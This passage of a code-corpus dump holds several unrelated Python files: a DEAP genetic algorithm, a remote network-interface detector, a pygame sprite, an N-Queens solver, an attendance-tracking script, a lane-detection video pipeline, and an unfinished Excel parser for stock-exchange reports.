forma equitativa\r\n\r\n# en el rango de [0,1] (i.e. 0 o 1 con igual\r\n\r\n# probabilidad)\r\n\r\ntoolbox.register(\"attr_bool\", random.randint, 0, 1)\r\n\r\n\r\n\r\n# Inicializacion de estructuras\r\n\r\n# define 'individual' como un individuo\r\n\r\n# consistiendo de 100 'attr_bool' elementos ('genes')\r\n\r\ntoolbox.register(\"individual\", tools.initRepeat, creator.Individual, \r\n\r\n toolbox.attr_bool, tsolucion)\r\n\r\n\r\n\r\n# define la poblacion como una lista de individuos\r\n\r\ntoolbox.register(\"population\", tools.initRepeat, list, toolbox.individual)\r\n\r\n\r\n\r\n# la funcion objetivo ('fitness') que se busca maximizar\r\n\r\ndef eval2packing(x):\r\n\r\n \"\"\"s=0\r\n\r\n su=[]\r\n\r\n if sum(x)==0:\r\n\r\n for k in range(len(x)):\r\n\r\n su.append(-100)\r\n\r\n else:\r\n\r\n for i in range(len(x)):\r\n\r\n if x[i]==1:\r\n\r\n for j in range(len (x)):\r\n\r\n if e[i][j]==0:\r\n\r\n s+=1\r\n\r\n if e[i][j]!=0:\r\n\r\n s-=1\r\n\r\n su.append(s)\"\"\"\r\n\r\n f=0\r\n\r\n for i in range(len(x)):\r\n\r\n f+=x[i]\r\n\r\n penaliza=0\r\n\r\n for j in range(i,len(x)):\r\n\r\n penaliza+=e[i][j]*x[j]\r\n\r\n penaliza*=len(x)*x[i]\r\n\r\n f-=penaliza\r\n\r\n \r\n\r\n return float(f),\r\n\r\n\r\n\r\n#----------\r\n\r\n# Registro de Operadores\r\n\r\n#----------\r\n\r\n# Registra el objetivo / funcion para determinar fitness \r\n\r\ntoolbox.register(\"evaluate\", eval2packing)\r\n\r\n\r\n\r\n# registro del operador de crusamiento\r\n\r\ntoolbox.register(\"mate\", tools.cxTwoPoint)\r\n\r\n\r\n\r\n# registra un operador de mutacion con una probabilidad de \r\n\r\n# cambiar cada atributo/gen del 0.05\r\n\r\ntoolbox.register(\"mutate\", tools.mutFlipBit, indpb=0.05)\r\n\r\n\r\n\r\n# registro del operador que selecciona a los individuos para crear la siguiente\r\n\r\n# generacion: cada individuo de la actual generacion \r\n\r\n# es remplazado por el 'fittest' (mejor) de tres individuos\r\n\r\n# trazando aleatoreamente desde la actual generacion .\r\n\r\ntoolbox.register(\"select\", tools.selTournament, tournsize=3)\r\n\r\n\r\n\r\n#----------\r\n\r\n#Se declara el metodo principal que contendra el algoritmo genetico\r\n\r\ndef main():\r\n\r\n print(\"La matriz cuadrada es :\")\r\n\r\n print(e)\r\n\r\n random.seed(64)\r\n\r\n\r\n\r\n # crea una poblacion inicial de 300 individuos (Donde\r\n\r\n # cada individuo es una lista de enteros)\r\n\r\n pop = toolbox.population(n=200)\r\n\r\n\r\n\r\n # CXPB es la probabilidad con la que cada dos individuos\r\n\r\n # son cruzados \r\n\r\n #\r\n\r\n # MUTPB es la probabilidad para mutar un individuo\r\n\r\n CXPB, MUTPB = 0.5, 0.2\r\n\r\n \r\n\r\n print(\"Comienza la Evolucion\")\r\n\r\n \r\n\r\n # Evalua la problacion entera\r\n\r\n fitnesses = list(map(toolbox.evaluate, pop))\r\n\r\n for ind, fit in zip(pop, fitnesses):\r\n\r\n ind.fitness.values = fit\r\n\r\n \r\n\r\n print(\" Evaluado %i individuos\" % len(pop))\r\n\r\n\r\n\r\n # Extrallendo todos los fitnesses de \r\n\r\n fits = [ind.fitness.values[0] for ind in pop]\r\n\r\n\r\n\r\n # Nimero de generaciones\r\n\r\n g = 0\r\n\r\n \r\n\r\n # Comienza la evolucion\r\n\r\n while g < 100:\r\n\r\n # Una nueva generacion \r\n\r\n g = g + 1\r\n\r\n print(\"-- Generacion %i --\" % g)\r\n\r\n \r\n\r\n # Selecciona la siguiente generacion de individuos\r\n\r\n offspring = toolbox.select(pop, len(pop))\r\n\r\n #Clona la descendencia \r\n\r\n offspring = list(map(toolbox.clone, offspring))\r\n\r\n \r\n\r\n # Aplica el cruzamiento y mutacion en la descendencia \r\n\r\n for child1, child2 in zip(offspring[::2], offspring[1::2]):\r\n\r\n\r\n\r\n # Cruza dos individuos con probabilidad CXPB\r\n\r\n if random.random() < CXPB:\r\n\r\n toolbox.mate(child1, child2)\r\n\r\n\r\n\r\n # fitness valores de los hijos\r\n\r\n # para ser recalculados despues\r\n\r\n del child1.fitness.values\r\n\r\n del child2.fitness.values\r\n\r\n\r\n\r\n for mutant in offspring:\r\n\r\n\r\n\r\n # muta un individuo con probabilidad MUTPB\r\n\r\n if random.random() < MUTPB:\r\n\r\n toolbox.mutate(mutant)\r\n\r\n del mutant.fitness.values\r\n\r\n \r\n\r\n # Evalua los individuos con un fitness invalido\r\n\r\n invalid_ind = [ind for ind in offspring if not ind.fitness.valid]\r\n\r\n fitnesses = map(toolbox.evaluate, invalid_ind)\r\n\r\n for ind, fit in zip(invalid_ind, fitnesses):\r\n\r\n ind.fitness.values = fit\r\n\r\n \r\n\r\n print(\" Evaluados %i individuos\" % len(invalid_ind))\r\n\r\n \r\n\r\n # la poblacion es enteramente remplasada por la descendencia\r\n\r\n pop[:] = offspring\r\n\r\n \r\n\r\n # Reune todos los fitnesses en una lista e imprime las estadisticas\r\n\r\n fits = [ind.fitness.values[0] for ind in pop]\r\n\r\n \r\n\r\n length = len(pop)\r\n\r\n mean = sum(fits) / length\r\n\r\n sum2 = sum(x*x for x in fits)\r\n\r\n std = abs(sum2 / length - mean**2)**0.5\r\n\r\n \r\n\r\n print(\" Min fitness %s\" % min(fits))\r\n\r\n print(\" Max fitness %s\" % max(fits))\r\n\r\n print(\" Media %s\" % mean)\r\n\r\n print(\" Std %s\" % std)\r\n\r\n \r\n\r\n print(\"-- Fin de (Termino) la evolucion --\")\r\n\r\n \r\n\r\n best_ind = tools.selBest(pop, 1)[0]\r\n\r\n print(\"El mejor individuo es %s, %s\" % (best_ind, best_ind.fitness.values))\r\n\r\n\r\n\r\nif __name__ == \"__main__\":\r\n\r\n main()\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n\r\n\r\n\r\n \r\n\r\n","sub_path":"CIF.py","file_name":"CIF.py","file_ext":"py","file_size_in_byte":7281,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"158234627","text":"from .network import NetworkInterface\nimport re\n\n\nclass NetworkDetector(object):\n def __init__(self, remote_machine_client):\n \"\"\"\n Used to find all the network interfaces with info about them on a certain server.\n\n :param remote_machine_client: A ServerClient object on which the detection will take place.\n :type remote_machine_client: Child class of ServerClient.\n \"\"\"\n self.remote_machine_client = remote_machine_client\n\n def discover_networks(self):\n raise NotImplementedError('This function must be overridden by a child class.')\n\n\nclass LinuxNetworkDetector(NetworkDetector):\n def __init__(self, remote_machine_client):\n NetworkDetector.__init__(self, remote_machine_client)\n\n def discover_networks(self):\n network_objects_list = []\n nics = self.get_nics_list()\n for nic in nics:\n network_object = self._create_network_object_for_nic(nic)\n network_objects_list.append(network_object)\n return network_objects_list\n\n def _create_network_object_for_nic(self, nic):\n nic_ip_addresses = self._get_ip_addresses_by_nic(nic)\n return NetworkInterface(interface_name=nic, ip_addresses=nic_ip_addresses)\n\n def get_nics_list(self):\n network_info = self.remote_machine_client.run_command_on_server(\"ip link show\", output=True)\n nics = []\n output_array = network_info.split(':')\n for i, current_item in enumerate(output_array):\n if i <= len(output_array) - 2 and output_array[i + 1].startswith(' <'):\n nic_name = current_item[1:]\n nics.append(nic_name)\n return nics\n\n def _get_ip_addresses_by_nic(self, nic):\n nic_info = self.remote_machine_client.run_command_on_server(\"ip addr show {}\".format(nic), True)\n nic_info_array = nic_info.split(\" \")\n ip_addresses = []\n for i, current_item in enumerate(nic_info_array):\n current_item = nic_info_array[i]\n if current_item == 'inet' and i < len(nic_info_array) - 1:\n ip_address = nic_info_array[i + 1].split(\"/\")[0]\n ip_addresses.append(ip_address)\n return ip_addresses\n\n\nclass WindowsNetworkDetector(NetworkDetector):\n def __init__(self, remote_machine_client):\n NetworkDetector.__init__(self, remote_machine_client)\n\n def discover_networks(self):\n networks = []\n ipconfig_output = self._get_ipconfig_command_output()\n nics_list = self._get_network_adapters_from_ipconfig_output(ipconfig_output)\n for nic in nics_list:\n ip_addresses = self._get_ip_addresses_for_nic(nic)\n network = self._create_network_object(nic, ip_addresses)\n networks.append(network)\n return networks\n\n @staticmethod\n def _get_network_adapters_from_ipconfig_output(output):\n nics = []\n ipconfig_output_list = filter(None, re.split(\"; |:|\\n|\\r\", output))\n for item in ipconfig_output_list:\n nic_name = item.split(\" \", 2)[2]\n nics.append(nic_name)\n return nics\n\n def _get_ipconfig_command_output(self):\n return self.remote_machine_client.run_command_on_server('ipconfig | findstr \"adapter\"', output=True)\n\n def _get_ip_addresses_for_nic(self, nic):\n ip_finding_command = 'netsh interface ip show addresses \"{}\" | findstr \"IP Address\"'.format(nic)\n command_output = self.remote_machine_client.run_command_on_server(ip_finding_command, output=True)\n output_list = filter(None, re.split(\"; |:|\\n|\\r|IP Address| \", command_output))\n return list(output_list)\n\n @staticmethod\n def _create_network_object(interface_name, ip_addresses):\n return NetworkInterface(interface_name=interface_name, ip_addresses=ip_addresses)\n","sub_path":"python_remote_firewall/server_discovery/network_detector.py","file_name":"network_detector.py","file_ext":"py","file_size_in_byte":3812,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"189154795","text":"import pygame\nfrom player import Player\n\npygame.font.init()\n\nclass Upgrade(pygame.sprite.Sprite):\n\n '''Class for upgrade objects'''\n\n SIZE = WIDTH, HEIGHT = (16, 16)\n FONT = pygame.font.Font('assets/fonts/block.ttf', 16)\n SPEED = 2\n MULTIPLIER, POD, BONUS = 0, 1, 2\n BONUS_AMOUNT = 1000\n\n def __init__(self, center, kind):\n '''Initialize upgrade object'''\n pygame.sprite.Sprite.__init__(self)\n self.kind = kind\n if self.kind == Upgrade.MULTIPLIER:\n text = 'X'\n elif self.kind == Upgrade.POD:\n text = 'P'\n else:\n text = str(Upgrade.BONUS_AMOUNT)\n self.image = Upgrade.FONT.render( text, False, Player.COLOR )\n self.rect = self.image.get_rect()\n self.rect.center = center\n\n def update(self):\n self.rect.y += Upgrade.SPEED\n","sub_path":"upgrade.py","file_name":"upgrade.py","file_ext":"py","file_size_in_byte":847,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"508294965","text":"\"\"\"\nFrom: https://oj.leetcode.com/problems/n-queens-ii/\nAuthor: Jing Zhou\nDate: Jul 10, 2014\nThought: It's actually easier than the first one... When you already worked the first one out.\n\"\"\"\n\n\n\nclass Solution:\n # @return an integer\n def totalNQueens(self, n):\n res =[0]\n A = [-1]*n\n self.solveN(A, res, n, 0)\n return res[0]\n def solveN(self, A, res, n, cur):\n if cur == n:\n res[0] += 1\n else:\n for i in range(n):\n A[cur] = i\n if self.isValid(A, cur):\n self.solveN(A, res, n, cur+1)\n def isValid(self, A, cur):\n for i in range(0, cur):\n if A[i] == A[cur] or abs(A[i]-A[cur]) == cur-i:\n return False\n return True\n","sub_path":"week17/Jing/p_n_queens_ii.py","file_name":"p_n_queens_ii.py","file_ext":"py","file_size_in_byte":777,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"179126395","text":"# Owen's Automated Attendance Taker\n# author: Owen Tian\n# date: 1/5/2015\n\nimport csv\nimport shutil\nimport os\n\n'''\n\nat the beginning of a new cycle:\n\n- run make_new_master() using master attendance from previous cycle\n- archive old copy files\n- change DATES\n- change BEGINNER_SONG, INTERMEDIATE_SONG, ADVANCED_SONG\n- run make_master_attendance() and make_song_attendance() to create 4 attendance files\n- copy-paste the contents of new_master.csv into the new MASTER.csv file\n\n\nstandard attendance instructions:\n\n- change SESSION_NUM to appropriate number to grab correct file name\n- change INDEX to the correct column value (should be same as SESSION_NUM!)\n- run take_attendance() for each song\n- run update_master()\n- run make_copies() to create a session-specific folder that holds old copies of attendance\n\n\n'''\n\nBEGINNER_SONG = \"trap\"\nINTERMEDIATE_SONG = \"blacklist\"\nADVANCED_SONG = \"delicious\"\nSESSION_NUM = \"_session1.txt\"\n\n# index for column we are taking attendance in (for session 1, this is 1.\n# for 2, it is 2, etc.)\nINDEX = 1\n\n# file names of attendance sheets to be read in (IN stands for \"read-in\")\nBEGINNER_IN = BEGINNER_SONG + SESSION_NUM\nINTERMEDIATE_IN = INTERMEDIATE_SONG + SESSION_NUM\nADVANCED_IN = ADVANCED_SONG + SESSION_NUM\n\n# file names of song attendance sheets\nBEG_ATTEND = \"MASTER_\" + BEGINNER_SONG + \".csv\"\nINT_ATTEND = \"MASTER_\" + INTERMEDIATE_SONG + \".csv\"\nADV_ATTEND = \"MASTER_\" + ADVANCED_SONG + \".csv\"\nMASTER = \"MASTER.csv\"\n\n# header for song attendance sheets and master attendance\nDATES = [\"10-29\", \"11-1\", \"11-2\", \"11-5\", \"11-8\", \\\n \"11-9\", \"11-12\", \"11-15\"]\nHEADER = \",\".join([\"NAME\"] + DATES)\nMASTER_HEADER = \",\".join([\"NAME\", \"PAID\"] + DATES + [\"CARRYOVER\"])\n\n# helper function that reads in a file and makes a list from its rows\ndef make_list(file):\n infile = open(file, \"r\")\n\n attend_list = []\n for line in infile:\n if line[-1] == \"\\n\":\n attend_list.append(line[:-1])\n else:\n attend_list.append(line)\n\n infile.close()\n\n # print(\"attend_list is \" + str(attend_list))\n return attend_list\n\n\n# create song attendance sheets with headers\ndef make_song_attendance(beg, inter, adv):\n if not os.path.exists(beg):\n print(\"creating beginner attendance file\")\n beginner = open(beg, \"w\")\n print(HEADER, file=beginner)\n beginner.close()\n\n if not os.path.exists(inter):\n print(\"creating intermediate attendance file\")\n intermediate = open(inter, \"w\")\n print(HEADER, file=intermediate)\n intermediate.close()\n\n if not os.path.exists(adv):\n print(\"creating advanced attendance file\")\n advanced = open(adv, \"w\")\n print(HEADER, file=advanced)\n advanced.close()\n\n# create master attendance sheet with header\ndef make_master_attendance(mast):\n if not os.path.exists(mast):\n print(\"creating master attendance list\")\n master = open(mast, \"w\")\n print(MASTER_HEADER, file=master)\n master.close()\n\n# function that take file of names and updates the song attendance sheet \ndef take_attendance(attendance, master):\n print(\"-------taking attendance for \" + str(attendance) + \"-------\")\n attend_list = make_list(attendance)\n\n # find the matches between attend_list and the master attendance\n with open(master, 'rt') as f:\n # found keeps track of if we have made a match\n found = False\n \n read_master = csv.reader(f)\n master_list = list(read_master)\n # print(master_list)\n for person in attend_list:\n for row in master_list:\n if person == row[0]:\n found = True\n print(\"match found: \" + str(person))\n row[INDEX] = 1\n if not found:\n new = [person, '0', '0', '0', '0', '0', '0', '0', '0']\n new[INDEX] = 1\n print(\"new attendee: \" + str(person))\n master_list.append(new)\n found = False\n # print(master_list)\n\n # writing the results saved in 'master_list' to the attendance file\n with open(master, 'w', newline='') as outfile:\n writer = csv.writer(outfile)\n writer.writerows(master_list)\n\n# function that updates the master attendance sheet with everyone\n# who attended a session\ndef update_master(beg, inter, adv, master):\n print(\"-------updating master attendance-------\")\n # compile a complete list of everyone who went to a session\n attend_list = []\n b_list = make_list(beg)\n i_list = make_list(inter)\n a_list = make_list(adv)\n \n attend_list.extend(b_list)\n attend_list.extend(i_list)\n attend_list.extend(a_list)\n # removes duplicates\n attend_list = set(attend_list)\n\n # print(\"complete list of attendees for master is \" + str(attend_list))\n\n with open(master, 'rt') as f:\n read_master_attend = csv.reader(f)\n master_attendance = list(read_master_attend)\n\n found = False\n # check for matches between the complete list of people who attended\n # and the master_attendance + update it\n for person in attend_list:\n for row in master_attendance:\n if person == row[0]:\n found = True\n print(\"match found: \" + str(person))\n row[INDEX + 1] = 1\n if not found:\n new = [person, 'N/A', '0', '0', '0', '0', '0', '0', '0', '0', '0']\n new[INDEX + 1] = 1\n print(\"new attendee: \" + str(person))\n master_attendance.append(new)\n found = False\n \n # go through entire master attendance, update paid\n attend_count = 0\n for row in master_attendance[1:]:\n for i in range(2,11):\n attend_count = attend_count + int(row[i])\n if attend_count >= 3 and row[1] != \"Paid\":\n # print(\"need to pay: \" + str(row[0]))\n row[1] = \"NEED TO PAY\"\n attend_count = 0\n\n # write results in master_attendance to the master attendance file\n with open(master, 'w', newline='') as outfile:\n writer = csv.writer(outfile)\n writer.writerows(master_attendance) \n\n# function to insert people who have already paid into master attendance\n# if they exist already, update them to paid\ndef update_paid(people, master):\n print(\"----------updating paid----------\")\n paid = make_list(people)\n\n print(\"paid is \" + str(paid))\n\n with open(master, 'rt') as f:\n read_master_attend = csv.reader(f)\n master_attendance = list(read_master_attend)\n\n found = False\n for person in paid:\n for row in master_attendance:\n if person == row[0]:\n found = True\n print(str(person) + \" already exists in master. updating to paid.\")\n row[1] = \"Paid\"\n if not found:\n new = [person, 'Paid', '0', '0', '0', '0', '0', '0', '0', '0', '0']\n print(\"creating person who has paid in master: \" + str(person))\n master_attendance.append(new)\n found = False\n\n # write results to master attendance file\n with open(master, 'w', newline='') as outfile:\n writer = csv.writer(outfile)\n writer.writerows(master_attendance) \n\n\n# function to find all people who need to pay\ndef need_pay(master):\n hunt_down = []\n with open(master, 'rt') as f:\n read_master_attend = csv.reader(f)\n master_attendance = list(read_master_attend)\n\n for row in master_attendance:\n if row[1] == \"NEED TO PAY\":\n hunt_down.append(row[0])\n print(\"the following people need to pay dues: \")\n for person in hunt_down:\n print(person)\n \n\n# function that makes a new master file for next cycle without header.\n# copies over those who are carry-overs (PAID = N/A) and those\n# who have paid or still need to pay.\ndef make_new_master(master):\n print(\"----------making new master file----------\")\n new_master = []\n \n with open(master, 'rt') as f:\n read_master_attend = csv.reader(f)\n master_attendance = list(read_master_attend)\n\n carryover = 0\n for row in master_attendance:\n if row[1] == \"N/A\":\n for i in range(2, 11):\n carryover = carryover + int(row[i])\n carryover_person = [row[0], 'N/A', '0', '0', '0', '0', '0', '0', \\\n '0', '0', str(carryover)]\n print(\"carryover found: \" + str(row[0]))\n new_master.append(carryover_person)\n carryover = 0\n if row[1] == \"Paid\":\n paid_person = [row[0], 'Paid', '0', '0', '0', '0', '0', '0', \\\n '0', '0', '0']\n print(\"paid person found: \" + str(row[0]))\n new_master.append(paid_person)\n if row[1] == \"NEED TO PAY\":\n need_pay_person = [row[0], 'NEED TO PAY', '0', '0', '0', '0', '0', '0', \\\n '0', '0', '0']\n print(\"need pay person found: \" + str(row[0]))\n new_master.append(need_pay_person)\n\n with open(\"new_master.csv\", 'w', newline='') as outfile:\n writer = csv.writer(outfile)\n writer.writerows(new_master)\n\n print(\"new master file created.\")\n \n# function that makes copies of old master files and puts them in a folder\ndef make_copies(beg, inter, adv, master):\n\n directory = DATES[INDEX-1]\n \n if not os.path.exists(directory):\n print(\"creating directory: \" + str(directory))\n os.makedirs(directory)\n \n if os.path.exists(directory):\n print(\"copying attendance files to directory: \" + str(directory))\n shutil.copyfile(beg, os.path.join(directory, DATES[INDEX-1] + \"_\" + beg))\n shutil.copyfile(inter, os.path.join(directory, DATES[INDEX-1] + \"_\" + inter))\n shutil.copyfile(adv, os.path.join(directory, DATES[INDEX-1] + \"_\" + adv))\n shutil.copyfile(master, os.path.join(directory, DATES[INDEX-1] + \"_\" + master))\n\n print(\"copying input files to directory: \" + str(directory))\n shutil.copyfile(BEGINNER_IN, os.path.join(directory, BEGINNER_IN))\n shutil.copyfile(INTERMEDIATE_IN, os.path.join(directory, INTERMEDIATE_IN))\n shutil.copyfile(ADVANCED_IN, os.path.join(directory, ADVANCED_IN)) \n\n\n# function that sorts csv files alphabetically\n\n\n# function that sorts csv files by paid, not paid\n\n\n\n#####################################################################\n\n# make_master_attendance(MASTER)\n# make_song_attendance(BEG_ATTEND, INT_ATTEND, ADV_ATTEND)\n\n# take_attendance(BEGINNER_IN, BEG_ATTEND)\n# take_attendance(INTERMEDIATE_IN, INT_ATTEND)\n# take_attendance(ADVANCED_IN, ADV_ATTEND)\n# update_master(BEGINNER_IN, INTERMEDIATE_IN, ADVANCED_IN, MASTER)\n# make_copies(BEG_ATTEND, INT_ATTEND, ADV_ATTEND, MASTER)\n\n\n# need_pay(MASTER)\n# update_paid(INTERMEDIATE_IN, MASTER)\n# make_new_master(MASTER)\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","sub_path":"projects/attendance/attendance.py","file_name":"attendance.py","file_ext":"py","file_size_in_byte":11193,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"358789402","text":"import numpy as np\nimport cv2\nimport matplotlib.pyplot as plt\nimport matplotlib.image as mpimg\nimport os\nimport pickle\n\nfrom LineTracker import LineTracker\nfrom Line import Line\nfrom util_function import *\n\n# Import everything needed to edit/save/watch video clips\nfrom moviepy.editor import VideoFileClip\nfrom IPython.display import HTML\n\n# Global Variables\nnwindows = 72\nline = Line()\ntracker = LineTracker(nwindows=nwindows, margin=50)\n\n\n# (1) Camera Calibration => Do only once per video\n# : process_image() function executed on every frame\ndist_pickle = camera_calibration()\nmtx = dist_pickle[\"mtx\"]\ndist = dist_pickle[\"dist\"]\n\n\ndef process_image(image):\n # (2) Undistort the frame image\n image = cv2.undistort(image, mtx, dist, None, mtx)\n\n # (3) Set several thresholds to detect lane lines\n # (3-1) Gradient : Use Sobel X operation\n grad_thresh = (30, 150)\n abs_sobelx = abs_sobel_thresh(image, orient='x', thresh=grad_thresh)\n\n # (3-2) Color Threshold : Use H and S channel\n s_thresh = (175, 255)\n s_binary = hls_threshold(image, ch=\"S\", thresh=s_thresh)\n\n # (3-3) Threshold Combination\n combined = np.zeros_like(s_binary)\n combined[((abs_sobelx == 1) | (s_binary == 1))] = 1\n\n # (4) Perspective Transform : To find lane lines from top-down view\n top_limit = 0.67\n from_mid = 100\n from_edge = 0.17\n bottom_limit = 0.98\n\n m_w = image.shape[1]\n m_h = image.shape[0]\n\n src = np.float32([[m_w/2 - from_mid, m_h*top_limit],\n [m_w/2 + from_mid, m_h*top_limit],\n [m_w*(1-from_edge), m_h*bottom_limit],\n [m_w*from_edge+100, m_h*bottom_limit]])\n dst = np.float32([[m_w/5, 20],\n [m_w*4/5, 20],\n [m_w*4/5, m_h],\n [m_w/5, m_h]])\n\n M = cv2.getPerspectiveTransform(src, dst)\n Minv = cv2.getPerspectiveTransform(dst, src)\n\n warped = cv2.warpPerspective(\n combined, M, (m_w, m_h), flags=cv2.INTER_LINEAR)\n\n # (5) Find window centroids and calculate polynomial coefficients\n tracker.find_window_centroid(warped, line)\n\n # (5-1) Calculate points to draw polynomial lines\n ploty = np.linspace(0, warped.shape[0]-1, warped.shape[0])\n left_fitx = line.left_fit[0]*ploty**2 + \\\n line.left_fit[1]*ploty + line.left_fit[2]\n right_fitx = line.right_fit[0]*ploty**2 + \\\n line.right_fit[1]*ploty + line.right_fit[2]\n\n # (5-2) Calculate curvature and vehicle position\n left_curve, right_curve = line.calculate_curvature()\n curve_str = \"Radius of Curvature : \" + \\\n str(int((left_curve+right_curve)//2)) + '(m)'\n\n diff = line.distance_from_center(m_w)\n if diff < 0:\n dist_str = \"The vehicle is \" + \\\n \"{0:.2f}\".format(-diff) + \"m left of center\"\n else:\n dist_str = \"The vehicle is \" + \\\n \"{0:.2f}\".format(diff) + \"m right of center\"\n\n # (6) Draw lines back on the original image\n warp_zero = np.zeros_like(warped).astype(np.uint8)\n color_warp = np.dstack((warp_zero, warp_zero, warp_zero))\n pts_left = np.array([np.transpose(np.vstack([left_fitx, ploty]))])\n pts_right = np.array(\n [np.flipud(np.transpose(np.vstack([right_fitx, ploty])))])\n pts = np.hstack((pts_left, pts_right))\n\n # Draw the lane onto the warped blank image\n cv2.fillPoly(color_warp, np.int_([pts]), (0, 255, 0))\n # Warp the blank back to original image space using inverse perspective matrix (Minv)\n newwarp = cv2.warpPerspective(\n color_warp, Minv, (image.shape[1], image.shape[0]))\n # Combine the result with the original image\n result = cv2.addWeighted(image, 1, newwarp, 0.3, 0)\n\n cv2.putText(result, curve_str, (50, 100),\n cv2.FONT_HERSHEY_DUPLEX, 1, (50, 50, 50), thickness=2)\n cv2.putText(result, dist_str, (50, 150),\n cv2.FONT_HERSHEY_DUPLEX, 1, (50, 50, 50), thickness=2)\n\n return result\n\n\nwhite_output = 'final_video.mp4'\n\nclip1 = VideoFileClip(\"./project_video.mp4\")\nwhite_clip = clip1.fl_image(process_image)\nwhite_clip.write_videofile(white_output, audio=False)\n","sub_path":"pipeline.py","file_name":"pipeline.py","file_ext":"py","file_size_in_byte":4111,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"504329400","text":"import os\nimport openpyxl\nimport xlrd\nimport pandas as pd\nfrom xlrd.sheet import ctype_text\nimport difflib\nimport csv\n#POMOCNE FUNKCIJE\ndef list_equal(list):\n list=iter(list)\n try:\n first=next(list)\n except StopIteration:\n return True\n return all(first==rest for rest in list)\n\n\n\n\ndef sublist(list1,list2):\n ls=[item in list2 for item in list1]\n return all(ls)\n\ndef check_if_all_equal(temp):\n iterator=iter(temp)\n try:\n first=next(iterator)\n except StopIteration:\n return True\n return all(first==rest for rest in iterator)\n\ndef check_if_for_specific_values(temp):\n def find_element_in_column(elem, col, temp):\n for row_index in range(temp.nrows):\n if elem == temp.cell(row_index, col).value:\n break\n return row_index\n\ndef find_element_in_column(elem,col,temp):\n for row_index in range(temp.nrows):\n if elem==temp.cell(row_index,col).value:\n break\n return row_index\n\n\ndef find_element(value, temp):\n break_loop = False\n for row_index in range(temp.nrows):\n\n for col_index in range(temp.ncols):\n\n cell_object = str(temp.cell(row_index, col_index).value)\n\n if value in cell_object:\n break_loop = True\n break\n if break_loop:\n break\n return (row_index, col_index)\n\n\ndef print_row(row, temp):\n for col_index in range(temp.ncols):\n print(temp.cell(row, col_index).value)\n\n\ndef print_column(col, temp):\n for row_index in range(temp.nrows):\n print(temp.cell(row_index, col).value)\ndef find_element(value, temp):\n break_loop = False\n for row_index in range(temp.nrows):\n\n for col_index in range(temp.ncols):\n\n cell_object = str(temp.cell(row_index, col_index).value)\n\n if value in cell_object:\n break_loop = True\n break\n if break_loop:\n break\n return (row_index, col_index)\n\n\ndef print_row(row, temp):\n for col_index in range(temp.ncols):\n print(temp.cell(row, col_index).value)\n\n\ndef print_column(col, temp):\n for row_index in range(temp.nrows):\n print(temp.cell(row_index, col).value)\n\n\ndef find_element_in_column(elem,col,temp):\n for row_index in range(temp.nrows):\n if elem==str(temp.cell(row_index,col).value):\n break\n return row_index\n\n# bilanca=pd.DataFrame()\n# rdg=pd.DataFrame()\n# nti=pd.DataFrame()\n# ntd=pd.DataFrame()\n# pk=pd.DataFrame()\n# x=[]\n# rez=[]\n# temp=['Bilanca','RDG','NT_I']\n# for item in os.listdir('D:\\ZSE'):\n# curdir = os.path.join('D:\\ZSE',item)\n# files=os.listdir(curdir)\n# for st in files:\n# if st[0:12]==(item+\"-fin2018\") and st[len(st)-4:]==\".xls\":\n# xl=xlrd.open_workbook(os.path.join(curdir,st))\n# x.append(xl.sheet_names())\n# rez.append(sublist(temp,xl.sheet_names()))\n# if(rez[-1]==0):\n# print(item, st, sep=\"\\t\")\n#\n# xlfile=xlrd.open_workbook(os.path.join(curdir,st))\n#\n#\n#\n# #BILANCA\n# temp_bilanca = xlfile.sheet_by_name(\"Bilanca\")\n# temp_rdg=xlfile.sheet_by_name(\"RDG\")\n# temp_nti=xlfile.sheet_by_name('NT_I')\n\n\ndef input_data(temp,data,aop_index,item):\n\n x,aop_columna=find_element('AOP',temp)\n\n begin_aop_index=find_element_in_column(aop_index,aop_columna,temp)\n\n text=[item]\n for i in range(begin_aop_index, temp.nrows):\n if str(temp.cell(i, aop_columna).value) != '':\n text.append(temp.cell(i,0).value)\n if data.index.size==0:\n data.loc[0]=text\n else:\n data.loc[data.index.size]=text\n return data\n\n\ndef findnth(string, substring, n):\n parts = string.split(substring, n + 1)\n if len(parts) <= n + 1:\n return -1\n return len(string) - len(parts[-1]) - len(substring)\n\n\ndef rows_equal(data):\n first=data.iloc[0]\n for i in range(1,data.shape[0]):\n print(i)\n if first.equals(data.iloc[i])==False:\n for j in range(1,data.iloc[i].shape[0]):\n print(j)\n if difflib.SequenceMatcher(None,first[j],data.iloc[i][j]).ratio()<0.85:\n print('jest')\n return True\n\n\n\nif __name__=='__main__':\n kreiranje = [False, False, False, False]\n pat=os.path.join(os.getcwd(),\"Stock\",\"functions\",'BussinesCompanies.csv')\n nema =((pd.read_csv(pat,header=None)).iloc[0]).values.tolist()\n nema.append(\"HPB\")\n nema.append('IKBA')\n nema.append('KABA')\n nema.append('KBZ')\n nema.append('PBZ')\n nema.append('PDBA')\n nema.append(\"ELPR\")\n nema.append('TKPR')\n nema.append('SNBA')\n nema.append('ZABA')\n\n problem=[\"CROS\",\"CROS2\",\"ELPR\",\"JDOS\",\"TKPR\"]\n for item in os.listdir('D:\\ZSE'):\n if item in nema:\n continue\n else:\n category1.append(item)\n curdir = os.path.join('D:\\ZSE', item)\n files = os.listdir(curdir)\n for st in files:\n if st[0:findnth(st, '-', 1)] == (item + \"-fin2018\") and (\n st[len(st) - 4:] == \".xls\" or st[len(st) - 5:] == \".xlsx\"):\n xl = xlrd.open_workbook(os.path.join(curdir, st))\n print(item)\n\n # Bilanca\n\n if \"Bilanca\" in xl.sheet_names():\n temp = xl.sheet_by_name('Bilanca')\n x, aop_columna = find_element('AOP', temp)\n\n # Kreiranja inicijalne bilance\n if kreiranje[0] == False:\n begin_aop_index = find_element_in_column(\"1.0\", aop_columna, temp)\n col_aop = [\"Ticker\"]\n for i in range(begin_aop_index, 